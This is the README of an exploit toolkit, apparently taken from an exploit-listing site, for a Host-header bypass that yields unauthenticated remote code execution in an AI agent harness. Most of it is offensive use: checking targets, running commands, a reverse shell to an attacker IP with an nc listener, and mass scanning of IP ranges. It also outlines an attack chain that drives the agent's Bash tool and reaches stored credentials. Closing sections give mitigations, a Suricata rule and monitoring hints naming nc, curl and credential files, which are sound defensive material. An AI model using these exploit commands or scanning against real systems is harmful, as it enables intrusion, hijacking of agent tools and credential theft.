Exploit for QVD-2026-57410

## https://sploitus.com/exploit?id=30E27178-1103-5252-8FD6-B51168AA1F1B
# QVD-2026-57410 PoC Toolkit

> DeepSeek Harness HTTP Host Header Bypass → Unauthenticated Remote Code Execution

This repository contains the complete PoC toolkit for **QVD-2026-57410** (DeepSeek Harness Unauthenticated Remote Code Execution Vulnerability). This vulnerability allows an attacker to bypass "loopback-only" access restrictions by forging the HTTP Host header, thereby gaining system privileges equivalent to those of the DSH process.

## Vulnerability Overview

| Item | Description |
|---|---|
| Vulnerability ID | QVD-2026-57410 |
| Severity | CVSS 9.8 (Critical) |
| Affected Versions | DeepSeek Harness 0.1.1-rc.2 (including earlier rc versions) |
| Vulnerability Type | HTTP Host Header Trust Flaw → Unauthorized RCE |
| Attack Complexity | Low (no authentication required; only requires forging the HTTP header) |

**Root Cause**: The DSH `/api` endpoint determines whether a request originates locally by checking the HTTP `Host` header, but this header is entirely under the client’s control. When the service is exposed to a non-loopback network (e.g., via Docker port mapping or Nginx reverse proxy), an attacker can forge `Host: 127.0.0.1` to bypass the check, directly call high-privilege RPC methods, and force the Agent to execute arbitrary system commands.

## Affected Deployment Scenarios

- Docker port mapping: `docker run -p 0.0.0.0:3000:3000`
- Nginx/Apache reverse proxies that do not rewrite the `Host` header
- Cloud environment load balancers forwarding the `/api` path

## Toolkit Contents

### 1. `dsh_exploit.py` - Main Exploit Tool

Full functionality:
- Vulnerability verification (`--check`)
- System information gathering (`--sysinfo`)
- Single-command execution (`-c "whoami"`)
- Interactive shell (`--shell`)
- Reverse shell (`--reverse-shell`)
- File read/write (`--read`, `--write`)

### 2. `dsh_scanner.py` - Batch scanner

Features:
- Multithreaded concurrent scanning
- Support for IP ranges/CIDR (`--range 192.168.1.0/24`)
- Load target lists from a file (`-f targets.txt`)
- Export results to JSON (`-o results.json`)

### 3. `dsh_shell.py` - Enhanced Interactive Shell

Advanced Features:
- Command history (readline support)
- File upload/download (base64 transfer)
- Built-in system information command (`sysinfo`)
- Working directory tracking (`cd`)

## Quick Start

### Installing Dependencies

```bash
pip install -r requirements.txt
# Or use the automatic installation script
bash setup.sh
```

### Basic Usage

**1. Check if a Target Has Vulnerabilities**
```bash
python dsh_exploit.py -t http://target:3000 --check
```

**2. Retrieve system information**
```bash
python dsh_exploit.py -t http://target:3000 --sysinfo
```

**3. Execute a Single Command**
```bash
python dsh_exploit.py -t http://target:3000 -c "whoami"
```

**4. Interactive Shell (Recommended)**
```bash
python dsh_shell.py -t http://target:3000
```

**5. Reverse Shell**
```bash
# First, start a listener on the attacker’s machine
nc -lvnp 4444

# Then trigger the reverse shell
python dsh_exploit.py -t http://target:3000 --reverse-shell 10.10.10.10:4444
```

**6. Batch Scanning**
```bash
# Scan the list of targets in the file
python dsh_scanner.py -f targets.txt -o results.json

# Scan an entire IP range
python dsh_scanner.py --range 192.168.1.0/24 --port 3000 --threads 20
```

### Command-Line Arguments

For a complete list of arguments, run:
```bash
python dsh_exploit.py --help
python dsh_scanner.py --help
python dsh_shell.py --help
```

## Recommendations for Remediation

### Temporary Mitigation Measures

1. **Strictly Bind to the Loopback Address**
```bash
npx @deepseek-ai/dsh web --host 127.0.0.1 --port 3000

# Docker: Map only to localhost
docker run -p 127.0.0.1:3000:3000 deepseek-harness
```

2. **Reverse Proxy Hardening**
```nginx
location /api {
# IP whitelist
allow 10.0.0.0/8;
deny all;

# Force Host header rewrite
proxy_set_header Host "127.0.0.1:3000";
proxy_pass http://127.0.0.1:3000;
}
```

3. **Adding an Authentication Layer (HTTP Basic Auth / mTLS)**

### Long-Term Fixes

- Do not trust HTTP headers controlled by the client
- Check the `remoteAddress` of the TCP connection to determine the true source
- Use Unix sockets instead of TCP listening
- Implement an API token authentication mechanism

## Detection Methods

### Network Layer (Suricata Rules)

```
alert http any any -> any any (
msg:"DSH Host Header Spoofing Attempt";
content:"POST"; http_method;
content:"/api"; http_uri;
content:"Host: 127.0.0.1"; http_header;
flow:to_server,established;
classtype:web-application-attack;
sid:10001; rev:1;
)
```

### Log Characteristics

- `/api` requests originating from an IP address other than `127.0.0.1`
- Host header is `127.0.0.1`/`localhost` but the actual IP does not match
- RPC methods: `session.create`, `commands/execute`, `session.prompt`

### System-Level Monitoring

- DSH process spawns suspicious subprocesses: `bash -c`, `nc`, `curl`
- Unexpected outbound connections
- Access to sensitive files: `/etc/passwd`, `/proc/self/environ`

## Technical Details

### Attack Chain Overview

```
1. The attacker forges `Host: 127.0.0.1`
↓
2. DSH `isLocalRequest()` check passes
↓
3. Accesses high-privilege RPC: `session.create`
↓
4. Privilege escalation: `commands/execute(danger-full-access)`
↓
5. Execute command: `session.prompt(bash -c "...")`
↓
6. Gain system privileges equivalent to those of the DSH process
```

### Key RPC Methods

| Method | Function |
|---|---|
| `session.create` | Creates a session in any working directory |
| `commands/execute` | Executes privilege escalation commands |
| `session.prompt` | Drives the Agent Bash tool to execute commands |
| `settings.*` | Modifies framework settings |
| `credentials.*` | Accesses stored credentials |

For a detailed technical analysis, please refer to the original research materials (see the “References” section).

## Legal Notice

⚠️ **This toolkit is intended solely for the following purposes:**
- Authorized penetration testing
- Security research
- Vulnerability validation and defensive testing
- Educational purposes in a controlled environment

**Unauthorized access to computer systems is a criminal offense.** Users must ensure they have obtained explicit authorization. The author assumes no liability for any legal consequences resulting from the misuse of this toolkit.

## Reference Links

- DeepSeek Harness Official Repository:[github.com/deepseek-ai/deepseek-harness](https://github.com/deepseek-ai/deepseek-harness)
- Vulnerability Details (GitHub Discussion #853):[github.com/deepseek-ai/deepseek-harness/discussions/853](https://github.com/deepseek-ai/deepseek-harness/discussions/853)
- QiAnXin Threat Intelligence Center Alert: [cn-sec.com/archives/5403588.html](https://cn-sec.com/archives/5403588.html)

## License

MIT License

Copyright (c) 2026 HackSpeak

Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to use the Software without restriction, including, without limitation, the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS," WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED. USE AT YOUR OWN RISK.